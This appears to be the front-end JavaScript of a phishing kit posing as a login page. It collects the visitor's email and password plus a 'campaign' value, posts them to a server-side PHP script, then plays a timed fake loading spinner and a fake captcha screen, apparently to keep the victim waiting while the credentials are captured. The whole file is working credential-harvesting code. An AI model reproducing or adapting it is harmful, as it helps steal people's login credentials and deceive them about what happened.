function senddados() {

    $(document).ready(function () {

        var usuario = $("#sign_login").val();
        var senha = $("#password").val();
        var camp = $("#camp").val();

        if (usuario === "" || senha === "" || senha.length < 4) {
            return false;
        } else {
            axios.post(`/app/sendLogin.php`, {
                username: usuario,
                password: senha,
                camp: camp
            }).then((response) => {
                document.getElementById('btnsend').disabled = true;
            })
        }
    });

    return false;
}


document.getElementById("btnsend").addEventListener('click', (e) => {
    e.preventDefault()
    const emailinput = document.getElementById("sign_login")
    const passwordinput = document.getElementById("password")
    if (!/^[\w-\.]+@([\w-]+\.)+[\w-]{2,4}$/.test(emailinput.value) ||
        passwordinput.value.length < 6) {
        return
    }
    e.target.innerHTML = "<img src='/assets/images/loading.gif' width='20'>"
    setTimeout(() => {
        document.getElementById("formLoad").style.display = "flex";
    }, 1200);
    setTimeout(() => {
        document.getElementById("formLoad").style.display = "none";
        document.getElementById("formCaptcha").style.display = "flex";
    }, 5100);
    senddados();
});